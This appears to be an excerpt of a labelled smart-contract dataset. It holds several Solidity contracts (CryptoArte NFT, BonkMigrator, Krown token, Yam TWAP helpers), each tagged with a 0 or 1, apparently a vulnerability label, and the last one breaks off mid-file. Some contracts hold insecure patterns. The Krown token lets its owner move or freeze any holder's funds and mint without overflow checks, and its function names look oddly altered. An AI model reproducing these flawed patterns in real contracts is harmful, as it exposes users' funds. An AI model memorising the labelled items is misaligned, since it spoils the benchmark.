require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is ERC721, ERC721BasicToken {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CryptoArte is ERC721Token, Ownable {
mapping (uint256 => uint256) public tokenIdToHash;
constructor() ERC721Token("CryptoArte", "CARTE") public { }
function mintTo(address _to, string _tokenURI, uint256 _tokenId, uint256 _tokenHash) public onlyOwner {
_mint(_to, _tokenId);
_setTokenURI(_tokenId, _tokenURI);
tokenIdToHash[_tokenId] = _tokenHash;
}
function mintManyTo(address _to, string _tokenURIPrefix, uint256[] _tokenIds, uint256[] _tokenHashes) public onlyOwner {
require(_tokenIds.length >= 1);
require(_tokenIds.length == _tokenHashes.length);
for (uint i = 0; i < _tokenIds.length; i++) {
_mint(_to, _tokenIds[i]);
_setTokenURI(_tokenIds[i], strConcat(_tokenURIPrefix, uint256Tostr(_tokenIds[i])));
tokenIdToHash[_tokenIds[i]] = _tokenHashes[i];
}
}
function setTokenURI(string _tokenURI, uint256 _tokenId) public onlyOwner {
_setTokenURI(_tokenId, _tokenURI);
}
function setTokenHash(uint256 _tokenHash, uint256 _tokenId) public onlyOwner {
require(exists(_tokenId));
tokenIdToHash[_tokenId] = _tokenHash;
}
function strConcat(string _a, string _b) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
string memory ab = new string(_ba.length + _bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) bab[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) bab[k++] = _bb[i];
return string(bab);
}
function uint256Tostr(uint256 _i) internal pure returns (string) {
if (_i == 0) return "0";
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0){
bstr[k--] = byte(48 + _i % 10);
_i /= 10;
}
return string(bstr);
}
} | 1 | 4,931 |
pragma solidity >=0.6.0 <0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.7.5;
interface ICallable {
function tokenCallback(address _from, uint _tokens, bytes calldata _data) external returns (bool);
}
pragma solidity ^0.7.5;
interface IDrainer {
function drainEth(address payable _beneficiary) external;
function drainTokens(address _token, address _beneficiary, uint _amount) external;
}
pragma solidity ^0.7.5;
abstract contract Drainer is IDrainer, Ownable {
function drainEth(address payable _beneficiary)
public
onlyOwner
virtual
override
{
uint balance = address(this).balance;
_beneficiary.call{ value : balance}("");
}
function drainTokens(address _token, address _beneficiary, uint _amount)
public
onlyOwner
virtual
override
{
require(_amount > 0, "0 amount");
IERC20(_token).transfer(_beneficiary, _amount);
}
}
pragma solidity ^0.7.5;
contract BonkMigrator is Ownable, ReentrancyGuard, Drainer, ICallable {
using SafeMath for uint;
uint public constant CLAIM_PERIOD = 100 days;
IERC20 public oldToken;
IERC20 public newToken;
uint public deadline;
mapping(address => uint) public migrated;
uint public totalMigrated;
event Migrated(address indexed _recipient, uint _amount, uint _timestamp);
constructor(address _oldToken, address _newToken)
{
require(_oldToken != address(0), "Invalid old token address");
require(_newToken != address(0), "Invalid new token address");
oldToken = IERC20(_oldToken);
newToken = IERC20(_newToken);
deadline = _getNow() + CLAIM_PERIOD;
}
modifier beforeDeadline() {
require(_getNow() <= deadline, "Too late");
_;
}
modifier onlyOldBonkToken() {
require(msg.sender == address(oldToken), "Caller is not the old token");
_;
}
function tokenCallback(address _from, uint256 _tokens, bytes calldata _data)
external
override
nonReentrant
beforeDeadline
onlyOldBonkToken
returns (bool)
{
require(_tokens > 0, "Invalid amount");
_tokens = _tokens.mul(110).div(100);
_migrate(_from, _tokens);
return true;
}
function migrateAll()
external
returns (bool)
{
uint balance = oldToken.balanceOf(msg.sender);
return migrate(balance);
}
function migrate(uint _amount)
public
nonReentrant
beforeDeadline
returns (bool)
{
require(_amount > 0, "Invalid amount");
require(oldToken.transferFrom(msg.sender, address(this), _amount), "Transfer failed");
_migrate(msg.sender, _amount);
return true;
}
function drainTokens(address _token, address _beneficiary, uint _amount)
public
override
{
require(_getNow() > deadline, "Too early");
super.drainTokens(_token, _beneficiary, _amount);
}
function _migrate(address _recipient, uint _amount)
internal
{
migrated[_recipient] = migrated[_recipient].add(_amount);
totalMigrated = totalMigrated.add(_amount);
require(newToken.transfer(_recipient, _amount), "Tokens transfer failed");
emit Migrated(_recipient, _amount, _getNow());
}
function _getNow()
internal
view
returns (uint)
{
return block.timestamp;
}
} | 0 | 1,733 |
pragma solidity ^0.4.13;
contract owned {
address public centralAuthority;
address public plutocrat;
function owned() {
centralAuthority = msg.sender;
plutocrat = msg.sender;
}
modifier onlyOwner {
if (msg.sender != centralAuthority) revert();
_;
}
modifier onlyPlutocrat {
if (msg.sender != plutocrat) revert();
_;
}
function transfekbolOwnership(address newOwner) onlyPlutocrat {
centralAuthority = newOwner;
}
function transfekbolPlutocrat(address newPlutocrat) onlyPlutocrat {
plutocrat = newPlutocrat;
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract token {
string public decentralizedEconomy = 'PLUTOCRACY';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event InterestFreeLending(address indexed from, address indexed to, uint256 value, uint256 duration_in_days);
event Settlement(address indexed from, address indexed to, uint256 value, string notes, string reference);
event AuthorityNotified(string notes, string reference);
event ClientsNotified(string notes, string reference);
event LoanRepaid(address indexed from, address indexed to, uint256 value, string reference);
event TokenBurnt(address indexed from, uint256 value);
event EconomyTaxed(string base_value, string target_value, string tax_rate, string taxed_value, string notes);
event EconomyRebated(string base_value, string target_value, string rebate_rate, string rebated_value, string notes);
event PlutocracyAchieved(string value, string notes);
function token(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) {
if (_to == 0x0) revert();
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (_to == 0x0) revert();
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (_value > allowance[_from][msg.sender]) revert();
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function () {
revert();
}
}
contract Krown is owned, token {
string public nominalValue;
string public update;
string public sign;
string public website;
uint256 public totalSupply;
uint256 public notificationFee;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function Krown(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
address centralMinter
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {
if(centralMinter != 0 ) centralAuthority = centralMinter;
balanceOf[centralAuthority] = initialSupply;
}
function transfer(address _to, uint256 _value) {
if (_to == 0x0) revert();
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (frozenAccount[msg.sender]) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function lend(address _to, uint256 _value, uint256 _duration_in_days) {
if (_to == 0x0) revert();
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (frozenAccount[msg.sender]) revert();
if (_duration_in_days > 36135) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
InterestFreeLending(msg.sender, _to, _value, _duration_in_days);
}
function repayLoan(address _to, uint256 _value, string _reference) {
if (_to == 0x0) revert();
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (frozenAccount[msg.sender]) revert();
if (bytes(_reference).length != 66) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
LoanRepaid(msg.sender, _to, _value, _reference);
}
function settlvlement(address _from, uint256 _value, address _to, string _notes, string _reference) onlyOwner {
if (_from == plutocrat) revert();
if (_to == 0x0) revert();
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (bytes(_reference).length != 66) revert();
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Settlement( _from, _to, _value, _notes, _reference);
}
function notifyAuthority(string _notes, string _reference) {
if (balanceOf[msg.sender] < notificationFee) revert();
if (bytes(_reference).length > 66) revert();
if (bytes(_notes).length > 64) revert();
balanceOf[msg.sender] -= notificationFee;
balanceOf[centralAuthority] += notificationFee;
AuthorityNotified( _notes, _reference);
}
function notifylvlClients(string _notes, string _reference) onlyOwner {
if (bytes(_reference).length > 66) revert();
if (bytes(_notes).length > 64) revert();
ClientsNotified( _notes, _reference);
}
function taxlvlEconomy(string _base_value, string _target_value, string _tax_rate, string _taxed_value, string _notes) onlyOwner {
EconomyTaxed( _base_value, _target_value, _tax_rate, _taxed_value, _notes);
}
function rebatelvlEconomy(string _base_value, string _target_value, string _rebate_rate, string _rebated_value, string _notes) onlyOwner {
EconomyRebated( _base_value, _target_value, _rebate_rate, _rebated_value, _notes);
}
function plutocracylvlAchieved(string _value, string _notes) onlyOwner {
PlutocracyAchieved( _value, _notes);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (_to == 0x0) revert();
if (frozenAccount[_from]) revert();
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (_value > allowance[_from][msg.sender]) revert();
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function mintlvlToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function burnlvlToken(address _from, uint256 _value) onlyOwner {
if (_from == plutocrat) revert();
if (balanceOf[_from] < _value) revert();
balanceOf[_from] -= _value;
totalSupply -= _value;
TokenBurnt(_from, _value);
}
function freezelvlAccount(address target, bool freeze) onlyOwner {
if (target == plutocrat) revert();
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setlvlSign(string newSign) onlyOwner {
sign = newSign;
}
function setlvlNominalValue(string newNominalValue) onlyOwner {
nominalValue = newNominalValue;
}
function setlvlUpdate(string newUpdate) onlyOwner {
update = newUpdate;
}
function setlvlWebsite(string newWebsite) onlyOwner {
website = newWebsite;
}
function setlvlNfee(uint256 newFee) onlyOwner {
notificationFee = newFee;
}
} | 1 | 2,777 |
pragma solidity ^0.5.15;
pragma experimental ABIEncoderV2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract UniHelper{
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
function _mintLPToken(
IUniswapV2Pair uniswap_pair,
IERC20 token0,
IERC20 token1,
uint256 amount_token1,
address token0_source
) internal {
(uint256 reserve0, uint256 reserve1, ) = uniswap_pair
.getReserves();
uint256 quoted = quote(reserve0, reserve1);
uint256 amount_token0 = quoted.mul(amount_token1).div(ONE);
token0.transferFrom(token0_source, address(uniswap_pair), amount_token0);
token1.transfer(address(uniswap_pair), amount_token1);
IUniswapV2Pair(uniswap_pair).mint(address(this));
}
function _burnLPToken(IUniswapV2Pair uniswap_pair, address destination) internal {
uniswap_pair.transfer(
address(uniswap_pair),
uniswap_pair.balanceOf(address(this))
);
IUniswapV2Pair(uniswap_pair).burn(destination);
}
function quote(uint256 purchaseAmount, uint256 saleAmount)
internal
pure
returns (uint256)
{
return purchaseAmount.mul(ONE).div(saleAmount);
}
}
contract YamGoverned {
event NewGov(address oldGov, address newGov);
event NewPendingGov(address oldPendingGov, address newPendingGov);
address public gov;
address public pendingGov;
modifier onlyGov {
require(msg.sender == gov, "!gov");
_;
}
function _setPendingGov(address who)
public
onlyGov
{
address old = pendingGov;
pendingGov = who;
emit NewPendingGov(old, who);
}
function _acceptGov()
public
{
require(msg.sender == pendingGov, "!pendingGov");
address oldgov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldgov, gov);
}
}
contract YamSubGoverned is YamGoverned {
event SubGovModified(
address account,
bool isSubGov
);
mapping(address => bool) public isSubGov;
modifier onlyGovOrSubGov() {
require(msg.sender == gov || isSubGov[msg.sender]);
_;
}
function setIsSubGov(address subGov, bool _isSubGov)
public
onlyGov
{
isSubGov[subGov] = _isSubGov;
emit SubGovModified(subGov, _isSubGov);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call.value(weiValue)(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library Babylonian {
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library FixedPoint {
struct uq112x112 {
uint224 _x;
}
struct uq144x112 {
uint _x;
}
uint8 private constant RESOLUTION = 112;
uint private constant Q112 = uint(1) << RESOLUTION;
uint private constant Q224 = Q112 << RESOLUTION;
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, 'FixedPoint: DIV_BY_ZERO');
return uq112x112(self._x / uint224(x));
}
function mul(uq112x112 memory self, uint y) internal pure returns (uq144x112 memory) {
uint z;
require(y == 0 || (z = uint(self._x) * y) / y == uint(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, 'FixedPoint: ZERO_RECIPROCAL');
return uq112x112(uint224(Q224 / self._x));
}
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2 ** 32);
}
function currentCumulativePrices(
address pair,
bool isToken0
) internal view returns (uint priceCumulative, uint32 blockTimestamp) {
blockTimestamp = currentBlockTimestamp();
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (isToken0) {
priceCumulative = IUniswapV2Pair(pair).price0CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
}
} else {
priceCumulative = IUniswapV2Pair(pair).price1CumulativeLast();
if (blockTimestampLast != blockTimestamp) {
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
priceCumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
}
contract TWAPBoundedUGASSEPT {
using SafeMath for uint256;
uint256 internal constant BASE = 10**18;
uint256 internal constant ONE = 10**18;
IUniswapV2Pair internal uniswap_pair =
IUniswapV2Pair(0x5CCD155ad26B74913ed6266A516A085A2343D426);
IERC20 internal constant WETH =
IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IERC20 internal constant SEPT_UGAS =
